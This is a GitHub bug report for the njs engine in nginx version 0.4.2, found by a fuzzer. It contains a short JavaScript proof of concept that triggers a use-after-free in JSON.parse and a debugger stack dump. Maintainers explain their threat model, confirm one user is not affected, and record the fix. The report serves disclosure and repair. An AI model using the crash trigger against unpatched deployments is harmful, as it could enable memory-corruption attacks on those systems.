

New issue

[Jump to bottom](#)

## Control flow hijack in njs\_value\_property #324



Changochen opened this issue on Jun 27, 2020 · 5 comments

Assignees



Labels

bug

fluff

fuzzer

Changochen commented on Jun 27, 2020

Version: 0.4.2 , git commit 32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5

This bug is likely exploitable.

POC:

```
function a() {
  new Uint32Array(this[8] = a)
  return Array
}
JSON.parse("[1, 2, []]", a)
```

cmd: njs poc.js

Stack dump:

```
#0 0x0000623000000cc0 in ?? ()
#1 0x0000000004f2b8a in njs_value_property (vm=<optimized out>, value=<optimized out>, key=<optimized out>,
retval=<optimized out>) at src/njs_value.c:1033
#2 0x00000000056b75a in njs_object_length (vm=0x623000000100, value=0x619000000100, length=<optimized out>)
at src/njs_object.c:2638
#3 0x00000000073589f in njs_typed_array_constructor (vm=<optimized out>, args=<optimized out>,
nargs=<optimized out>, magic=<optimized out>) at src/njs_typed_array.c:97
#4 0x0000000005ff82f in njs_function_native_call (vm=vm@entry=0x623000000100) at src/njs_function.c:707
#5 0x000000000507612 in njs_function_frame_invoke (vm=0x623000000100, retval=0x7fffffff9c28)
at /home/yongheng/njs/src/njs_function.h:172
#6 njs_vmcode_interpreter (vm=0x623000000100, pc=0x616000000140 "\v\002\276\276\276\276\276\276$")
at src/njs_vmcode.c:778
#7 0x0000000005f5ecc in njs_function_lambda_call (vm=vm@entry=0x623000000100) at src/njs_function.c:677
#8 0x0000000005fdd24 in njs_function_frame_invoke (vm=0x623000000100, retval=0x7fffffff9a90)
at /home/yongheng/njs/src/njs_function.h:175
#9 njs_function_call2 (vm=<optimized out>, function=<optimized out>, this=<optimized out>, args=<optimized out>,
nargs=<optimized out>, retval=<optimized out>, ctor=<optimized out>) at src/njs_function.c:582
#10 0x0000000005e6584 in njs_function_apply (vm=0x623000000100, function=0x7fffffff9c28, args=<optimized out>,
nargs=0x3, retval=0x7fffffffac60) at /home/yongheng/njs/src/njs_function.h:193
#11 njs_json_parse_iterator_call (vm=0x623000000100, parse=0x7fffffffac60, state=<optimized out>)
at src/njs_json.c:1015
#12 njs_json_parse_iterator (vm=0x623000000100, parse=0x7fffffffac60, object=0xffffffff59a) at src/njs_json.c:971
#13 njs_json_parse (vm=<optimized out>, args=<optimized out>, nargs=0xffffffffb8, unused=<optimized out>)
at src/njs_json.c:167
#14 0x0000000005ff82f in njs_function_native_call (vm=vm@entry=0x623000000100) at src/njs_function.c:707
#15 0x000000000507612 in njs_function_frame_invoke (vm=0x623000000100, retval=0x7fffffff9c28)
at /home/yongheng/njs/src/njs_function.h:172
#16 njs_vmcode_interpreter (vm=0x623000000100, pc=0x6250000417a8 "\v\002\276\276\276\276\276\276!")
at src/njs_vmcode.c:778
#17 0x0000000004feb4c in njs_vm_start (vm=vm@entry=0x623000000100) at src/njs_vm.c:500
#18 0x0000000004c8f02 in njs_process_script (opts=<optimized out>, console=0x1307c60 <njs_console>,
script=<optimized out>) at src/njs_shell.c:843
#19 0x0000000004c68cf in njs_process_file (opts=0x7fffffffef0, vm_options=0x7fffffff250) at src/njs_shell.c:562
#20 main (argc=<optimized out>, argv=<optimized out>) at src/njs_shell.c:286
#21 0x00007ffff696997 in __libc_start_main (main=0x4c3cc0 <main>, argc=0x2, argv=0x7ffffffe4c8,
init=<optimized out>, fini=<optimized out>, rtdl_fini=<optimized out>, stack_end=0x7ffffffe4b8)
at ../csu/libc-start.c:310
#22 0x00000000041c08a in _start ()
```

xeioex added the bug label on Jun 28, 2020

xeioex commented on Jun 28, 2020 • edited

Contributor

@Changochen

Thanks for the reporting, will be fixed.

Regarding remote exploitability: nginx-njs threat model considers njs code as a part of nginx configuration (which includes among other things certificates and keys). So, njs code is expected to be not controllable by a remote user.

xeioex added fluff fuzzer labels on Jun 30, 2020

JulienCarnec commented on Sep 8, 2020

@xeioex , @Changochen ,

When running `nginx -v` , I do not see njs module listed:

```
sh-4.4$ nginx -V
nginx version: nginx/1.18.0
built by gcc 8.3.1 20190507 (Red Hat 8.3.1-4) (GCC)
built with OpenSSL 1.1.1c FIPS 28 May 2019
TLS SNI support enabled
configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib64/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-
path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-
path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-
path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-compat --with-file-aio --with-threads --with-
http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --
with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-
http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_realip_module --with-stream_ssl_module --with-stream_ssl_preread_module --with-
cc-opt='-O2 -g -pipe -Wall -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS -fexceptions -fstack-protector-strong -grecord-gcc-switches -
specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-
protection -fPIC' --with-ld-opt='-Wl,-z,relro -Wl,-z,now -pie'
```

```
sh-4.4$ nginx -V 2>&1 | tr -- - '\n' | grep module
modules
path=/usr/lib64/nginx/modules
http_addition_module
http_auth_request_module
http_dav_module
http_flv_module
http_gunzip_module
http_gzip_static_module
http_mp4_module
http_random_index_module
http_realip_module
http_secure_link_module
http_slice_module
http_ssl_module
http_stub_status_module
http_sub_module
http_v2_module
mail_ssl_module
stream_realip_module
stream_ssl_module
stream_ssl_preread_module
```

Can I assume that our nginx is not affected by this defect?

Thanks.

**xeioex** commented on Sep 8, 2020

Contributor

@JulienCarnec


Yes, you are not affected.

1. njs is compiled as a dynamic module (in order to use it, you have to specify `load_module` directive manually).
  2. We consider these bugs as just bugs and not security vulnerabilities, because in njs there is no way to dynamically execute any code
- all the JS code is statically compiled at nginx start
  - the JS code itself is considered sensitive in the same way as nginx.conf and TLS certificates (so it have to be protected)

**JulienCarnec** commented on Sep 8, 2020

Thanks @xeioex for the confirmation.  
Regards,

 **xeioex** assigned **lexborisov** on Sep 10, 2020

 **nginx-hg-mirror** pushed a commit that referenced this issue on Oct 6, 2020


Fixed heap-use-after-free in `JSON.parse()`. ...

9ab425e

**xeioex** commented on Oct 6, 2020

Contributor

Fixed in [9ab425e](#) .

 **xeioex** closed this as completed on Oct 6, 2020

Assignees

 **lexborisov**

Labels

bug fluff **fuzzer**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

4 participants

